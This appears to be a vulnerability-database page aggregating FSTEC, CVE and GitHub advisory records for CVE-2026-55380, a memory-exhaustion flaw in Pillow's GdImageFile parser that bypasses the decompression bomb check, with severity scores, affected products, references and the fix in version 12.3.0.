Vulnerability-Lookup

BDU:2026-15952 (CVE-2026-55380)

Vulnerability from fstec – Published: 2026-10-05 – Updated: 2026-10-05 – View on bdu.fstec.ru Exploit publicly available Fixed

Title

Уязвимость функции GdImageFile._open() файла PIL/GdImageFile.py библиотеки для работы с изображениями Python Pillow, позволяющая нарушителю вызвать отказ в обслуживании

Summary

Уязвимость функции GdImageFile._open() файла PIL/GdImageFile.py библиотеки для работы с изображениями Python Pillow связана с неконтролируемым распределением памяти. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, вызвать отказ в обслуживании

Severity

7.8 (High) CVSS 2.0


                      
                        AV:N/AC:L/Au:N/C:N/I:N/A:C

7.5 (High) CVSS 3.1


                      
                        CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Class

Code vulnerability

Status

Confirmed by the vendor

Exploitation

Resource exhaustion

Incidents

Being clarified

Remediation

Software update

CWE

CWE-789 - Неконтролируемое распределение памяти

Aliases

CVE-2026-55380, GHSA-PHJ9-MV4W-65PM

References

10 references

URL
https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml
https://github.com/python-pillow/Pillow
https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdb…
https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm
https://security-tracker.debian.org/tracker/CVE-2026-55380
https://deb.freexian.com/extended-lts/tracker/CVE-2026-55380
https://access.redhat.com/security/cve/CVE-2026-55380
http://repo.red-soft.ru/redos/7.3c/x86_64/updates/
http://repo.red-soft.ru/redos/8.0/x86_64/updates/

Impacted products

12 products from 5 vendors

Vendors

Сообщество свободного программного обеспечения, Red Hat, Inc., ООО «Ред Софт», Fredrik Lundh and contributors

Products

Debian GNU/Linux, Red Hat Enterprise Linux, РЕД ОС (запись в едином реестре российских программ №3751), Red Hat Satellite, Red Hat Ansible Automation Platform, Red Hat AI Inference Server, Red Hat Quay, Lightspeed Core, Red Hat Enterprise Linux AI, Exploit Intelligence, Pillow, Red Hat OpenShift AI

Versions

9 (Debian GNU/Linux), 8 (Red Hat Enterprise Linux), 10 (Debian GNU/Linux), 11 (Debian GNU/Linux), 12 (Debian GNU/Linux), 7.3 (РЕД ОС), 6 (Red Hat Satellite), 2 (Red Hat Ansible Automation Platform), 8.4 Advanced Mission Critical Update Support (Red Hat Enterprise Linux), 8.6 Advanced Mission Critical Update Support (Red Hat Enterprise Linux), 6.16 for RHEL 8 (Red Hat Satellite), 6.16 for RHEL 9 (Red Hat Satellite), 2.5 for RHEL 8 (Red Hat Ansible Automation Platform), 2.5 for RHEL 9 (Red Hat Ansible Automation Platform), 8.8 Telecommunications Update Service (Red Hat Enterprise Linux), 8.8 Update Services for SAP Solutions (Red Hat Enterprise Linux), 13 (Debian GNU/Linux), 8.6 Extended Update Support Long-Life Add-On (Red Hat Enterprise Linux), 8.4 Extended Update Support Long-Life Add-On (Red Hat Enterprise Linux), 8.0 (РЕД ОС), 6.17 for RHEL 9 (Red Hat Satellite), 3.2 (Red Hat AI Inference Server), 3.12 (Red Hat Quay), 3.9 (Red Hat Quay), 3.14 (Red Hat Quay), 3.15 (Red Hat Quay), 3.16 (Red Hat Quay), 2.6 for RHEL 9 (Red Hat Ansible Automation Platform), 6.18 for RHEL 9 (Red Hat Satellite), 2.6 (Red Hat Ansible Automation Platform), - (Lightspeed Core), 3.3 (Red Hat AI Inference Server), 3.3 (Red Hat Enterprise Linux AI), - (Exploit Intelligence), от 12.2.0 до 12.3.0 (Pillow), 3.10 (Red Hat Quay), 2.7 (Red Hat Ansible Automation Platform), 6.19 for RHEL 9 (Red Hat Satellite), 3.4 (Red Hat OpenShift AI), 3.4 (Red Hat AI Inference Server)

Product types

Operating system, Application software, Network software

Platforms

Сообщество свободного программного обеспечения Debian GNU/Linux 9, Red Hat, Inc. Red Hat Enterprise Linux 8, Сообщество свободного программного обеспечения Debian GNU/Linux 10, Сообщество свободного программного обеспечения Debian GNU/Linux 11, Сообщество свободного программного обеспечения Debian GNU/Linux 12, ООО «Ред Софт» РЕД ОС 7.3 (запись в едином реестре российских программ №3751), Inc. Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Inc. Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Inc. Red Hat Enterprise Linux 8.8 Telecommunications Update Service, Inc. Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions, Сообщество свободного программного обеспечения Debian GNU/Linux 13, Inc. Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On, Inc. Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On, ООО «Ред Софт» РЕД ОС 8.0 (запись в едином реестре российских программ №3751), Inc. Red Hat Enterprise Linux AI 3.3

Mitigations

Использование рекомендаций: Для Python Pillow: https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml https://github.com/python-pillow/Pillow https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675 https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm Для Debian GNU/Linux: https://security-tracker.debian.org/tracker/CVE-2026-55380 https://deb.freexian.com/extended-lts/tracker/CVE-2026-55380 Для программных продуктов Red Hat Inc.: https://access.redhat.com/security/cve/CVE-2026-55380 Для Ред ОС: http://repo.red-soft.ru/redos/7.3c/x86_64/updates/ http://repo.red-soft.ru/redos/8.0/x86_64/updates/

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:N/C:N/I:N/A:C",
  "CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
  "CVSS 4.0": null,
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, Red Hat, Inc., \u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb, Fredrik Lundh and contributors",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "9 (Debian GNU/Linux), 8 (Red Hat Enterprise Linux), 10 (Debian GNU/Linux), 11 (Debian GNU/Linux), 12 (Debian GNU/Linux), 7.3 (\u0420\u0415\u0414 \u041e\u0421), 6 (Red Hat Satellite), 2 (Red Hat Ansible Automation Platform), 8.4 Advanced Mission Critical Update Support (Red Hat Enterprise Linux), 8.6 Advanced Mission Critical Update Support (Red Hat Enterprise Linux), 6.16 for RHEL 8 (Red Hat Satellite), 6.16 for RHEL 9 (Red Hat Satellite), 2.5 for RHEL 8 (Red Hat Ansible Automation Platform), 2.5 for RHEL 9 (Red Hat Ansible Automation Platform), 8.8 Telecommunications Update Service (Red Hat Enterprise Linux), 8.8 Update Services for SAP Solutions (Red Hat Enterprise Linux), 13 (Debian GNU/Linux), 8.6 Extended Update Support Long-Life Add-On (Red Hat Enterprise Linux), 8.4 Extended Update Support Long-Life Add-On (Red Hat Enterprise Linux), 8.0 (\u0420\u0415\u0414 \u041e\u0421), 6.17 for RHEL 9 (Red Hat Satellite), 3.2 (Red Hat AI Inference Server), 3.12 (Red Hat Quay), 3.9 (Red Hat Quay), 3.14 (Red Hat Quay), 3.15 (Red Hat Quay), 3.16 (Red Hat Quay), 2.6 for RHEL 9 (Red Hat Ansible Automation Platform), 6.18 for RHEL 9 (Red Hat Satellite), 2.6 (Red Hat Ansible Automation Platform), - (Lightspeed Core), 3.3 (Red Hat AI Inference Server), 3.3 (Red Hat Enterprise Linux AI), - (Exploit Intelligence), \u043e\u0442 12.2.0 \u0434\u043e 12.3.0 (Pillow), 3.10 (Red Hat Quay), 2.7 (Red Hat Ansible Automation Platform), 6.19 for RHEL 9 (Red Hat Satellite), 3.4 (Red Hat OpenShift AI), 3.4 (Red Hat AI Inference Server)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u0414\u043b\u044f Python Pillow:\nhttps://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml\nhttps://github.com/python-pillow/Pillow\nhttps://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst\nhttps://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675\nhttps://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm\n\n\u0414\u043b\u044f Debian GNU/Linux:\nhttps://security-tracker.debian.org/tracker/CVE-2026-55380\nhttps://deb.freexian.com/extended-lts/tracker/CVE-2026-55380\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Red Hat Inc.:\nhttps://access.redhat.com/security/cve/CVE-2026-55380\n\n\u0414\u043b\u044f \u0420\u0435\u0434 \u041e\u0421:\nhttp://repo.red-soft.ru/redos/7.3c/x86_64/updates/\nhttp://repo.red-soft.ru/redos/8.0/x86_64/updates/",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "21.06.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "05.10.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "05.10.2026",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-15952",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-55380, GHSA-PHJ9-MV4W-65PM",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "Debian GNU/Linux, Red Hat Enterprise Linux, \u0420\u0415\u0414 \u041e\u0421 (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751), Red Hat Satellite, Red Hat Ansible Automation Platform, Red Hat AI Inference Server, Red Hat Quay, Lightspeed Core, Red Hat Enterprise Linux AI, Exploit Intelligence, Pillow, Red Hat OpenShift AI",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": "\u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Debian GNU/Linux 9 , Red Hat, Inc. Red Hat Enterprise Linux 8 , \u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Debian GNU/Linux 10 , \u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Debian GNU/Linux 11 , \u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Debian GNU/Linux 12 , \u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb \u0420\u0415\u0414 \u041e\u0421 7.3  (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751), Red Hat, Inc. Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support , Red Hat, Inc. Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support , Red Hat, Inc. Red Hat Enterprise Linux 8.8 Telecommunications Update Service , Red Hat, Inc. Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions , \u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Debian GNU/Linux 13 , Red Hat, Inc. Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On , Red Hat, Inc. Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On , \u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb \u0420\u0415\u0414 \u041e\u0421 8.0  (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751), Red Hat, Inc. Red Hat Enterprise Linux AI 3.3 ",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 GdImageFile._open() \u0444\u0430\u0439\u043b\u0430 PIL/GdImageFile.py \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Python Pillow, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 (CWE-789)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 GdImageFile._open() \u0444\u0430\u0439\u043b\u0430 PIL/GdImageFile.py \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Python Pillow \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u0418\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml\nhttps://github.com/python-pillow/Pillow\nhttps://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst\nhttps://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675\nhttps://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm\nhttps://security-tracker.debian.org/tracker/CVE-2026-55380\nhttps://deb.freexian.com/extended-lts/tracker/CVE-2026-55380\nhttps://access.redhat.com/security/cve/CVE-2026-55380\nhttp://repo.red-soft.ru/redos/7.3c/x86_64/updates/\nhttp://repo.red-soft.ru/redos/8.0/x86_64/updates/",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-789",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)"
}

CVE-2026-55380 (GCVE-0-2026-55380)

Vulnerability from cvelistv5 – Published: 2026-07-06 18:50 – Updated: 2026-07-06 19:23

Title

Pillow GdImageFile decompression bomb protection bypass

Summary

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-06 19:23 UTC

CWE

CWE-789 - Memory Allocation with Excessive Size Value

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/commit/f3…	x_refsource_MISC
https://github.com/python-pillow/Pillow/blob/main…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: < 12.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55380",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-06T19:23:03.405538Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-06T19:23:30.046Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 12.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-789",
              "description": "CWE-789: Memory Allocation with Excessive Size Value",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-06T18:51:08.092Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
        }
      ],
      "source": {
        "advisory": "GHSA-phj9-mv4w-65pm",
        "discovery": "UNKNOWN"
      },
      "title": "Pillow GdImageFile decompression bomb protection bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55380",
    "datePublished": "2026-07-06T18:50:14.789Z",
    "dateReserved": "2026-06-16T18:57:40.182Z",
    "dateUpdated": "2026-07-06T19:23:30.046Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-PHJ9-MV4W-65PM

Vulnerability from github – Published: 2026-07-20 21:13 – Updated: 2026-07-20 21:13

Summary

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

Details

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

